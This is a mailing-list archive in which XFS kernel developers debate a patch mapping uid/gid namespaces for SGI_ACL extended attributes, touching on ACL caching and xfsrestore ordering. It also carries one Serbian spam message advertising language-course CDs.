-------------------------------------------------- On Tue, Oct 27, 2015 at 04:55:22PM +0100, Andreas Gruenbacher wrote: > On Mon, Oct 26, 2015 at 10:46 PM, Dave Chinner wrote: > > On Sat, Oct 24, 2015 at 11:16:08PM +0200, Andreas Gruenbacher wrote: > >> @@ -71,10 +72,10 @@ xfs_acl_from_disk( > >> > >> switch (acl_e->e_tag) { > >> case ACL_USER: > >> - acl_e->e_uid = xfs_uid_to_kuid(be32_to_cpu(ace->ae_id)); > >> + acl_e->e_uid = make_kuid(ns, be32_to_cpu(ace->ae_id)); > > > > Please don't replace the xfs wrappers with the horribly named > > generic functions. Pass the namespace to xfs_uid_to_kuid(), and > > modify them, please. That way people who don't deal with namespaces > > every day can tell exactly what format conversion is taking place > > just by reading the code... > > We would effectively end up with: > > #define xfs_kuid_to_uid from_kuid > #define xfs_kgid_to_gid from_kgid > #define xfs_uid_to_kuid make_kuid > #define xfs_gid_to_kgid make_kgid No, you'd just add the namespace pointer to the static inline functions we already have, and add a comment stating when the caller should pass the init_ns vs user_ns. But now that I've thought about this a bit more, I don't think that the changes you've made are correct - we shouldn't be doing uid/gid namespace conversion in disk formating functions. That is, the conversion of user/group types should be done at the incoming layers (i.e. at VFS/ioctl layers), not deep in the guts of the XFS code. i.e. the disk formating functions should be passed uids/gids that are already mapped to the init namespace, because there is no guarantee that the formatting occurs in the same user context as the syscall (e.g. low level disk formatting work gets deferred to a work queue). > Are you sure you really want that? Why do you think we added the wrappers in the first place? It was because the ns maintainer refused to follow standard, self documenting type conversion naming conventions of _to_ so we added them ourselves. The user namespace code is horrible enough without adding confusing type change functions everywhere... Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Tue Oct 27 15:18:34 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 302817F37 for ; Tue, 27 Oct 2015 15:18:34 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id AB416AC001 for ; Tue, 27 Oct 2015 13:18:30 -0700 (PDT) X-ASG-Debug-ID: 1445977107-04cb6c7b85b9ee0001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id kTZoEgeRxL0POm1A for ; Tue, 27 Oct 2015 13:18:27 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: A2DGCADX2i9WPBQPLHleKAGDDYFDhlqjNgEBAQEBAQaLKYUkhgmGFAICAQECgURNAQEBAQEBBwEBAQFBP4QzAQEEOhwjEAgDDgoJJQ8FJQMHGhOIL8V5AQsBIBmGF4VFhCFsB4QuBZY4iAyFEI8ujQyCdB2Baio0hW4BAQE Received: from ppp121-44-15-20.lns20.syd4.internode.on.net (HELO dastard) ([121.44.15.20]) by ipmail06.adl6.internode.on.net with ESMTP; 28 Oct 2015 06:48:26 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1ZrAhO-0005Y0-2X; Wed, 28 Oct 2015 07:18:26 +1100 Date: Wed, 28 Oct 2015 07:18:26 +1100 From: Dave Chinner To: Andreas Gruenbacher Cc: Brian Foster , xfs@oss.sgi.com Subject: Re: Inconsistencies with trusted.SGI_ACL_{FILE,DEFAULT} Message-ID: <20151027201825.GO8773@dastard> X-ASG-Orig-Subj: Re: Inconsistencies with trusted.SGI_ACL_{FILE,DEFAULT} References: <20151024125659.GA8095@bfoster.bfoster> <20151024152254.GA22232@bfoster.bfoster> <20151026213228.GI8773@dastard> <20151027053045.GL8773@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1445977107 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23868 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Tue, Oct 27, 2015 at 11:56:46AM +0100, Andreas Gruenbacher wrote: > On Tue, Oct 27, 2015 at 6:30 AM, Dave Chinner wrote: > > On Tue, Oct 27, 2015 at 12:52:10AM +0100, Andreas Gruenbacher wrote: > >> On Mon, Oct 26, 2015 at 10:32 PM, Dave Chinner wrote: > >> > Really, I'm struggling to understand what the problem is with XFS > >> > doing translation to it's own special xattr names for ACLs > >> > underneath the posix layer. > >> > >> Right now, setting one of the SGI_ACL attributes leads to stale i_acl > >> / i_default_acl fields and in the case of SGI_ACL_FILE, possibly to > >> outdated permissions in i_mode. You would get different information > >> from getfacl than what's stored on disk. > > > > That's because we're not marking the cached acl as stale when > > setting the acl directly... > > > >> > Yes, there's a caching issue when someone directly manipulates > >> > the underlying xattr, > >> > >> "Directly manipulating" could be doing a setxattr of an attribute that > >> was previously retrieved by getxattr, like restoring a backup. > > > > Sure, that's what xfsdump/restore effectively does. > > > >> > but you need root to shoot yourself in the foot that way, and that is easily > >> > solveable. > >> > >> What do you mean, it's easily solvable? > > > > forget_all_cached_acls() > > Brian has already suggested that in this thread. Still leaves the > i_mode permission bits stale and is broken wrt. uid/gid namespaces. But for xfsrestore we don't want to do that because it's already set the mode correctly. Indeed, we order operations in xfs_restore to prevent the kernel from fucking with the inode modes and capabilities and giving use the incorrect result once the backup is complete. e.g.: struct stream_context { bstat_t sc_bstat; char sc_path[2 * MAXPATHLEN]; int sc_fd; int sc_hsmflags; /* * we have to set the owner before we set extended attributes otherwise * capabilities will not be restored correctly as setting the owner with * fchmod will strip the capability attribute from the file. Hence we * need to do this before restoring xattrs and record it so we don't do * it again on completion of file restoration. */ bool_t sc_ownerset; }; Further, user namespaces are irrelevant here - you can't run xfsdump/restore outside the init_ns. xfsdump requires access to the handle interface, which is unsafe to use inside a user ns because it allows complete access to any inode in the filesystem without limitations. xfs_restore requires unfettered access to directly manipulate the uid/gid/security attrs of inodes, which once again is something that isn't allowed inside user namespaces. Setting Posix acls by directly poking the on-disk attr format rather than going through the proper kernel ACL namespace is not a *general purpose user interface*. Thi exists for backup/restore utilities to do things like restore ACLs and security labels simply by treating them as opaque xattrs. If a user sets ACLs using this low level "opaque xattr" method, then they get to keep all the broken bits to themselves. Cheers, Dave. -- Dave Chinner david@fromorbit.com From office.ivanailic@gmail.com Tue Oct 27 15:36:47 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: ** X-Spam-Status: No, score=2.6 required=5.0 tests=FREEMAIL_FROM,FREEMAIL_REPLY, HTML_MESSAGE,HTML_OBFUSCATE_05_10,MANY_SPAN_IN_TEXT,T_DKIM_INVALID, T_FRT_CONTACT autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 682F07F37 for ; Tue, 27 Oct 2015 15:36:47 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 188CDAC001 for ; Tue, 27 Oct 2015 13:36:46 -0700 (PDT) X-ASG-Debug-ID: 1445978204-04bdf03309ca840001-NocioJ Received: from mail-ob0-f195.google.com (mail-ob0-f195.google.com [209.85.214.195]) by cuda.sgi.com with ESMTP id 6t5ZPKyqf8xMY8Xt (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128 verify=NO) for ; Tue, 27 Oct 2015 13:36:45 -0700 (PDT) X-Barracuda-Envelope-From: office.ivanailic@gmail.com X-Barracuda-RBL-Trusted-Forwarder: 209.85.214.195 Received: by obbia6 with SMTP id ia6so11024116obb.2 for ; Tue, 27 Oct 2015 13:36:44 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:date:message-id:subject:from:to:content-type; bh=Np1L1b4yM6AJeLBLwC2tdBxG4cO7nKBmILWmYPs7RPo=; b=uLM61VWYJqwVK54QwFk9y9cHO7eOHxgKU4NOoEJgtro88iyRCt5+r0wQHNO5GMlLAH wm7rmkMMxWe0DOxRDFTZ3uDR7FKg7RBQj0u5t8NbOALArIY5ZWmH+rQu1QgaC7vq0q/p Ak4vmNRAbDOofCvNThoaU1OOcejoJb9RH9gHS9MpA2H09gvjIMvSutKdaf/DKajTovuv UkW0VwcMxP+1ms1nOGcwZNrEsqBP/xLuLLsFKxa8uiBh+UFfBCkRc12u094P9pp8C2yN +ul9yEvSedKic7bdvcrt9oXZ/O8XysSTSUKlSANNZSCRRGPFWEpdSZwaM18wl8bBqTQO EKwQ== MIME-Version: 1.0 X-Received: by 10.60.95.8 with SMTP id dg8mr29516587oeb.81.1445978204486; Tue, 27 Oct 2015 13:36:44 -0700 (PDT) Received: by 10.202.1.205 with HTTP; Tue, 27 Oct 2015 13:36:44 -0700 (PDT) Date: Tue, 27 Oct 2015 21:36:44 +0100 Message-ID: Subject: =?UTF-8?Q?Najbrze_i_najlakse_ucenje_stranih_jezika=21_Kursevi_sv?= =?UTF-8?Q?ih_jezika_SNIZENI_66=25_i_PLUS_na_POKLON_DOBIJATE=E2=80=A6?= From: ivana ilic X-ASG-Orig-Subj: =?UTF-8?Q?Najbrze_i_najlakse_ucenje_stranih_jezika=21_Kursevi_sv?= =?UTF-8?Q?ih_jezika_SNIZENI_66=25_i_PLUS_na_POKLON_DOBIJATE=E2=80=A6?= To: ivanailic.asistent@fil.fakultet.jezici.gov.rs Content-Type: multipart/alternative; boundary=089e01227efc3b4b4305231c0993 X-Barracuda-Connect: mail-ob0-f195.google.com[209.85.214.195] X-Barracuda-Start-Time: 1445978205 X-Barracuda-Encrypted: ECDHE-RSA-AES128-GCM-SHA256 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.57 X-Barracuda-Spam-Status: No, SCORE=0.57 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO, DKIM_SIGNED, DKIM_VERIFIED, HTML_MESSAGE, HTML_OBFUSCATE_05_10, HTML_OBFUSCATE_05_10_2 X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23869 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.00 HTML_OBFUSCATE_05_10 BODY: Message is 5% to 10% HTML obfuscation 0.00 HTML_MESSAGE BODY: HTML included in message 0.57 HTML_OBFUSCATE_05_10_2 Message is 05% to 10% HTML obfuscation --089e01227efc3b4b4305231c0993 Content-Type: text/plain; charset=UTF-8 *Engleski, nemacki, spanski, italijanski, francuski, ruski i grcki za ucenje u pokretu* *prevedeno na srpski* *KOLICINE SU OGRANICENE, zato pozurite!* *AKCIJSKA PONUDA:* Kurs engleskog za ucenje u pokretu ukljucujuci i dodatne diskove : *4599,00 * 1599.oo din. Kurs nemackog za ucenje u pokretu ukljucujuci i dodatne diskove : *4599,00 * 1599.oo din. Kurs spanskog za ucenje u pokretu ukljucujuci i dodatne diskove : *4599,00 * 1599.oo din. Kurs italijanskog za ucenje u pokretu ukljucujuci i dodatne diskove : *4599,00 * 1599.oo din. Kurs francuskog za ucenje u pokretu ukljucujuci i dodatne diskove : *4599,00 * 1599.oo din. Kurs ruskog za ucenje u pokretu ukljucujuci i dodatne diskove : *4599,00 * 1599.oo din. Kurs grckog za ucenje u pokretu ukljucujuci i dodatne diskove : *4599,00 * 1599.oo din. SPECIJALNA PONUDA: Za kupljena dva ili vise kursa dobijate dadatni POPUST od 10% na celokupan iznos. Komplet obuhvata 5 audio diskova za ucenje u pokretu (mp3 format) i omogucava ljudima koji su stalno u pokretu i nemaju mnogo vremena da budu kod kuce pored svog racunara da uz pomoc najnovijih metoda naucestrani jezik. Na ovaj nacin strani jezik mozete uciti u kolima, na putu od kuce do posla i obrnuto, dok trcite ili setate, dok putujete ili se odmarate u prirodi, dakle na svom diskmenu ili MP3 player-u strani jezik cete moci uciti na bilo kom mestu. Vreme u toku dana predvidjeno ucenje jezika nije standardno, dakle mozete sami planirati koliko cete i gde preslusavati materijal sa CD-a. Rezultati ce biti bolji ukoliko imate kontinuitet u preslusavanju nasih CD-a, sto znaci ukoliko cesce budete slusali materijal brze cete savladati strani jezik. Materijal na diskovima obuhvata 4 nivoa datog jezika: pocetni nivo, produzeni kurs, visi tecaj i poslovni kurs, svaka rec ili recenica izgovorena na stranom jeziku posle nje sledi prevod na srpski (ovo se odnosi na pocetni i srednji nivo, visi i poslovni kurs podrazumeva da Vi vec imate odredjeno znanje datog jezika pa je i prevod suvisan) Na POKLON dobijate *i knjigu, recnik i gramatiku u elektronskoj formi na posebnom CD-u*, gde cete moci da proverite sve ono sto ste naucili ili da naucite nesto novo. Uz svaki kupljeni komplet-kurs dobijate i MULTIMEDIJALNI INTERAKTIVNI KURS KOJI SADRZI 10 NIVOA UCENJA za dati jezik (engleski, nemacki, spanski, italijanski, francuski...). Ova NOVA verzija kursa razvijena od strane najboljih strucnjaka u ovoj oblasti koristi se u najpoznatijim skolama i univerzitetima sirom sveta. Sigurno najkompletniji i najobimniki kurs omogucice Vam da na jednsostavan i zabavan nacin savladate dati jezik (citanje, pisanje, govor, gramatika itd) *U cenu jesu uracunati troskovi slanja paketa, sto znaci da Vi placate samo cenu koja je iznad navedena, tj. 1599,oo dinara.* Placanje je pouzecem, dakle po preuzimanju paketa, kao potvrdu placanja dobijate nalog kojim mozete vrsiti administrativno pravdanje gotovinskog placanja. Ukoliko zelite da porucite ovu nasu specijalnu ponudu potrebno je da dostavite Vase ime i prezime, adresu, mesto, postanski broj i broj telefona (obavezno je navesti sve podatke) i paket ce biti kod Vas u roku od 48 sati. Porudzbine slati iskljucivo na e-mail adresu: promotivno.kursevijezika@gmail.com ** Dodatni diskovi obuhvataju knjigu, recnik i gramatiku u elektronskoj formi na posebnom CD-u kao i multimedijalni kurs za dati jezik - 10 NIVOA ucenja i oni ulaze u cenu kostanja i ne naplacuju se dodatno.* *U ponudi imamo i kurseve drugih jezika, ukoliko Vas interesuje neki jezik koji nije naveden u ponudi kontaktirajte nas na email: * promotivno.kursevijezika@gmail.com Izvinjavamo se ukoliko smo Vas slanjem ovog mail-a na bilo koj nacin uznemirili, ako niste zeleli da primite isti molimo Vas da posaljete prazan mail na checkout.kursevi@gmail.com --089e01227efc3b4b4305231c0993 Content-Type: text/html; charset=UTF-8 Content-Transfer-Encoding: quoted-printable

=C2=A0

= =C2=A0

Engl= eski, nemacki, spanski, italijanski, francuski, ruski=C2=A0 i grcki za ucenje u pokretu

prev= edeno na srpski

=C2=A0

=C2=A0

=C2=A0

KOLICINE SU OGRANICENE, zato pozurite!

=C2=A0

=C2=A0

AKCIJSKA PONUDA:

=C2=A0

Kurs engleskog=C2=A0=C2= =A0za=C2=A0ucenje=C2=A0u pokretu=C2=A0ukljucujuci i dodatne diskove :=C2=A04599,00=C2=A0=C2=A0=C2=A0= =C2=A01599.oo din.

Kurs nemackog=C2=A0=C2= =A0za=C2=A0ucenje=C2=A0u pokretu=C2=A0ukljucujuci i dodatne diskove :=C2=A04599,00=C2=A0=C2=A0=C2=A0= =C2=A01599.oo din.

Kurs spanskog=C2=A0=C2= =A0za=C2=A0ucenje=C2=A0u pokretu=C2=A0ukljucujuci i dodatne diskove :=C2=A04599,00=C2=A0=C2=A0=C2=A0= =C2=A01599.oo din.

Kurs italijanskog=C2=A0= =C2=A0za=C2=A0ucenje=C2=A0<= /span>u pokretu=C2=A0ukljucujuci i dodatne diskove :=C2=A04599,00=C2=A0=C2=A0=C2=A0= =C2=A01599.oo din.

Kurs francuskog=C2=A0= =C2=A0za=C2=A0ucenje=C2=A0<= /span>u pokretu=C2=A0ukljucujuci i dodatne diskove :=C2=A04599,00=C2=A0=C2=A0=C2=A0= =C2=A01599.oo din.

Kurs ruskog=C2=A0=C2=A0= za=C2=A0ucenje=C2=A0= u pokretu=C2=A0ukljucujuci i dodatne diskove :=C2=A04599,00=C2=A0=C2=A0=C2=A0= =C2=A01599.oo din.

Kurs grckog=C2=A0=C2=A0= za=C2=A0ucenje=C2=A0= u pokretu=C2=A0ukljucujuci i dodatne diskove :=C2=A04599,00=C2=A0=C2=A0=C2=A0= =C2=A01599.oo din.

=C2=A0

=C2=A0

SPECIJALNA PONUDA:

Za kupljena dva ili vise kursa dobijate = dadatni POPUST od 10%=C2=A0 na celokupan iznos.

=C2= =A0

=C2=A0

=C2=A0=C2=A0=C2=A0 Komplet obuhvata 5 au= dio diskova za ucenje u pokretu (mp3 format) i omogucava ljudima koji su stalno u pokretu i nemaj= u mnogo vremena da budu kod kuce pored svog racunara da uz pomoc najnovijih metoda naucestrani=C2=A0=C2=A0jezik. Na ovaj nacin=C2=A0strani=C2=A0jezik mozete uciti u kolima, na putu od kuce do posla i obrnuto, dok trcite ili setate, dok putujete ili se odma= rate u prirodi, dakle =C2=A0na svom diskmenu ili MP3 player-u= =C2=A0strani=C2=A0jezik cete moci uciti na b= ilo kom mestu. Vreme u toku dana =C2=A0predvidjeno=C2=A0ucenje jezika=C2=A0nije sta= ndardno, dakle mozete sami planirati koliko cete i gde preslusavati materijal sa CD-= a. Rezultati ce biti bolji ukoliko imate kontinuitet u preslusavanju nasih CD-= a, sto znaci ukoliko cesce budete slusali materijal brze cete savladati=C2=A0strani=C2=A0jezik. Materijal= na diskovima obuhvata 4 nivoa datog jezika: pocetni nivo, produzeni kurs, visi tecaj i poslovni k= urs, =C2=A0svaka rec ili recenica izgovorena=C2=A0na=C2=A0stranom jeziku posle n= je sledi=C2=A0prevod=C2=A0na=C2=A0srpski=C2=A0(ovo se odnosi=C2=A0na=C2=A0pocetni i srednji nivo, visi i poslovni kurs podrazumeva da Vi vec imate odredjeno zn= anje datog jezika pa je i=C2=A0prevod= =C2=A0suvisan)

=C2=A0

Na POKLON dobijate= =C2=A0i knjigu, recnik i gramatiku u elektronskoj formi=C2=A0 na posebnom CD-u,= gde cete moci da proverite sve ono sto ste naucili ili da naucite nesto novo.

Uz svaki kupljeni komplet-kurs dobijate = i MULTIMEDIJALNI INTERAKTIVNI KURS KOJI SADRZI 10 NIVOA UCENJA za dati jezik (engleski, nema= cki, spanski, italijanski, francuski...). Ova NOVA verzija kursa=C2=A0 razvijena= od strane najboljih strucnjaka u ovoj oblasti koristi se u najpoznatijim skola= ma i univerzitetima sirom sveta. Sigurno najkompletniji i najobimniki kurs omogu= cice Vam da na jednsostavan i zabavan nacin savladate dati jezik (citanje, pisan= je, govor, gramatika itd)

=C2=A0

=C2=A0

U cenu jesu uracunati troskovi slanja= paketa, sto znaci da Vi placate samo cenu koja je iznad navedena, tj. 1599,oo dinara.<= /u>

Placanje je pouzecem, dakle po preuziman= ju paketa,=C2=A0kao=C2=A0potvrdu=C2=A0placanja dobijate nalog kojim mozete vrsiti administrativno pravdanje gotovinskog placanja.

=C2=A0

Ukoliko zelite da porucite=C2=A0ovu nasu= specijalnu ponudu=C2=A0potrebno je da dostavite Vase ime i prezime, adresu, mesto, postanski broj=C2=A0i broj telefona (obavezno je navesti sve podatke)=C2=A0= i paket ce biti kod Vas u roku od 48 sati.

Porudzbine slati iskljucivo na e-mail ad= resu:

=C2=A0

promotivno.kursevijezika@gmail.com

=C2=A0

=C2=A0

=C2=A0

* Dodatni diskovi obuhvataju knjigu, = recnik i gramatiku u elektronskoj formi=C2=A0 na posebnom CD-u kao i multimedijalni kurs za dati jezik - 10 NIVOA=C2=A0 ucenja i oni ulaze u cenu kostanja i ne naplacuju se dodatno.

U ponudi imamo i kurseve drugih jezik= a, ukoliko Vas interesuje neki jezik koji nije naveden u ponudi kontaktirajte nas na email= :=C2=A0 promotivno.kurse= vijezika@gmail.com

= =C2=A0

=C2=A0

=C2=A0

=C2=A0

=C2=A0

Izvinj= avamo se ukoliko smo Vas slanjem ovog mail-a na bilo koj nacin uznemirili, ako niste zeleli da primite isti=C2=A0 molimo Vas da posaljete prazan mail na checkout.kursevi@gmail.com

=C2=A0=

=C2=A0=

=C2= =A0

=C2=A0

=C2=A0

--089e01227efc3b4b4305231c0993-- From agruenba@redhat.com Tue Oct 27 16:10:34 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id A35077F37 for ; Tue, 27 Oct 2015 16:10:34 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 464A5AC003 for ; Tue, 27 Oct 2015 14:10:31 -0700 (PDT) X-ASG-Debug-ID: 1445980227-04bdf0330acb750001-NocioJ Received: from mail-lb0-f179.google.com (mail-lb0-f179.google.com [209.85.217.179]) by cuda.sgi.com with ESMTP id jJxoJFZiWYBN601Q (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128 verify=NO) for ; Tue, 27 Oct 2015 14:10:28 -0700 (PDT) X-Barracuda-Envelope-From: agruenba@redhat.com X-Barracuda-Apparent-Source-IP: 209.85.217.179 Received: by lbbes7 with SMTP id es7so73390761lbb.2 for ; Tue, 27 Oct 2015 14:10:27 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=redhat_com.20150623.gappssmtp.com; s=20150623; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=6d6jSuBC4IP2cyL/TxyMXcJeAsiH7Bsza2DUbbsErc8=; b=UoTDbz/yF7p7DaB+eF7pySDkuprDoH0wkPqvKzcKJZKY13gqrgkwphxnWFHLeKBBnE Nju9rMueGHm9tLL7166CkuZ1fOt3eEKMzQqDpKT2e4WPU4ArMxmHxZQ7nI0I2aZQTJuA njh8+BQzS9lSEodpEUKhRDGqJjffGeBWbskJRPc8sDrfEu620Y+Xrr0wPYdCglwziwEP jggCAD8K8TDJjWU5EBZv6RJs+bbDUxry83bLpeZcfMKXI8PwWISGrPl/dghI1FaJMWP7 FeaOmVx9xN7ekOXh+RtxIAW6cUugxcBfHtYqm9TYi7IvoUWXY36iRh8rboj6ZKTpF8KL ORvQ== X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:mime-version:in-reply-to:references:date :message-id:subject:from:to:cc:content-type; bh=6d6jSuBC4IP2cyL/TxyMXcJeAsiH7Bsza2DUbbsErc8=; b=fJV8Ly/dFiRJvymdaUUPr1QQ3HBcVF5f3b5YQ/Pnhj+a56AUhY1FX8KmOjBhxGDBMo s7t9JGhwn5oyglYB/bnFQKXu3DrLXyrMMRPER6tws2d9a+HKntry5z10b5x34cGXRoCQ 2teDSnIdPLn3LXvO/xoFFqRcqJ2m7VjD6UD2Ac+68zj+3V3iPrJnRSzX/HxA8A6olJTu 4H33qwzgRfKHryNCxdHDcnHtwNRCyNL3FmmwoFjXQFNlAeiHgSWL8Na8929rDfRj5Kkd gqyIUpJPuuBJz0EBX7bC8Nk8gm2sMK5KhotqYOt6SoLSLnI7nfYuaxVNMbNYUnQOalCL lRFA== X-Gm-Message-State: ALoCoQk9GSZetZQNzmPhCLpxqeXB+MswmeXDB2dy3gXmFpcTT7E51i3bqov9iMiykFB5KbRf3F4B MIME-Version: 1.0 X-Received: by 10.112.205.194 with SMTP id li2mr13174966lbc.75.1445980227004; Tue, 27 Oct 2015 14:10:27 -0700 (PDT) Received: by 10.112.53.42 with HTTP; Tue, 27 Oct 2015 14:10:26 -0700 (PDT) In-Reply-To: <20151027195502.GN8773@dastard> References: <1445721369-25679-1-git-send-email-agruenba@redhat.com> <1445721369-25679-4-git-send-email-agruenba@redhat.com> <20151026214651.GJ8773@dastard> <20151027195502.GN8773@dastard> Date: Tue, 27 Oct 2015 22:10:26 +0100 Message-ID: Subject: Re: [PATCH 3/4] xfs: SGI ACLs: Map uid/gid namespaces From: Andreas Gruenbacher X-ASG-Orig-Subj: Re: [PATCH 3/4] xfs: SGI ACLs: Map uid/gid namespaces To: Dave Chinner Cc: Brian Foster , xfs@oss.sgi.com Content-Type: text/plain; charset=UTF-8 X-Barracuda-Connect: mail-lb0-f179.google.com[209.85.217.179] X-Barracuda-Start-Time: 1445980228 X-Barracuda-Encrypted: ECDHE-RSA-AES128-GCM-SHA256 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23871 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On Tue, Oct 27, 2015 at 8:55 PM, Dave Chinner wrote: > On Tue, Oct 27, 2015 at 04:55:22PM +0100, Andreas Gruenbacher wrote: >> On Mon, Oct 26, 2015 at 10:46 PM, Dave Chinner wrote: >> > On Sat, Oct 24, 2015 at 11:16:08PM +0200, Andreas Gruenbacher wrote: >> >> @@ -71,10 +72,10 @@ xfs_acl_from_disk( >> >> >> >> switch (acl_e->e_tag) { >> >> case ACL_USER: >> >> - acl_e->e_uid = xfs_uid_to_kuid(be32_to_cpu(ace->ae_id)); >> >> + acl_e->e_uid = make_kuid(ns, be32_to_cpu(ace->ae_id)); >> > >> > Please don't replace the xfs wrappers with the horribly named >> > generic functions. Pass the namespace to xfs_uid_to_kuid(), and >> > modify them, please. That way people who don't deal with namespaces >> > every day can tell exactly what format conversion is taking place >> > just by reading the code... >> >> We would effectively end up with: >> >> #define xfs_kuid_to_uid from_kuid >> #define xfs_kgid_to_gid from_kgid >> #define xfs_uid_to_kuid make_kuid >> #define xfs_gid_to_kgid make_kgid > > No, you'd just add the namespace pointer to the static inline > functions we already have, and add a comment stating when the caller > should pass the init_ns vs user_ns. Yep, same result though. > But now that I've thought about this a bit more, I don't think that > the changes you've made are correct - we shouldn't be doing uid/gid > namespace conversion in disk formating functions. That is, the > conversion of user/group types should be done at the incoming layers > (i.e. at VFS/ioctl layers), not deep in the guts of the XFS code. There are two kinds of code paths where we need to convert between the SGI_ACL and the kernel's in-memory representation (struct posix_acl *): one is in the get_acl and set_acl iops, converting to/from the actual on-disk attrbutes, and the actual IDs stay the same. The other is in the get and set SGI_ACL xattr handlers which are invoked from the getxattr and setxattr iops. The conversion there is to/from the user-facing SGI_ACL xattrs, and ID mappings may be in effect. The VFS doesn't know anything about the SGI_ACL attributes, so XFS will have to do the ID mappings itself. We could convert the IDS in-place in separate pre- / post-passes over the xattr value and leave xfs_acl_from_disk and xfs_acl_to_disk alone. That's what the VFS does for POSIX ACLs. The problem there is that the setxattr iop and set xattr handler give us a const void * value; we cannot modify it without casting const away. Hence the additional namespace parameter to xfs_acl_from_disk and xfs_acl_to_disk instead. Only converting the IDs in place without going through the get_acl and set_acl iops would not work very well because then the i_acl, i_default_acl, and the permissions in i_mode wouldn't be updated appropriately. > i.e. the disk formating functions should be passed uids/gids that > are already mapped to the init namespace, because there is no > guarantee that the formatting occurs in the same user context as the > syscall (e.g. low level disk formatting work gets deferred to a work > queue). There very well is a guarantee that the getxattr and setxattr operations and thus the get and set xattr handler ops occur in the appropriate context. The actual on-disk format conversions happen to and from init_user_ns and they are effectively type casts. >> Are you sure you really want that? > > Why do you think we added the wrappers in the first place? It was > because the ns maintainer refused to follow standard, self > documenting type conversion naming conventions of _to_ > so we added them ourselves. The user namespace code is horrible > enough without adding confusing type change functions everywhere... Well, so far these functions were at least hiding the &init_user_ns part, they didn't just introduce XFS specific names for generic things. It would be sad if every subsystem introduced their own names when they don't like the generic ones. Thanks, Andreas From agruenba@redhat.com Tue Oct 27 16:39:56 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from 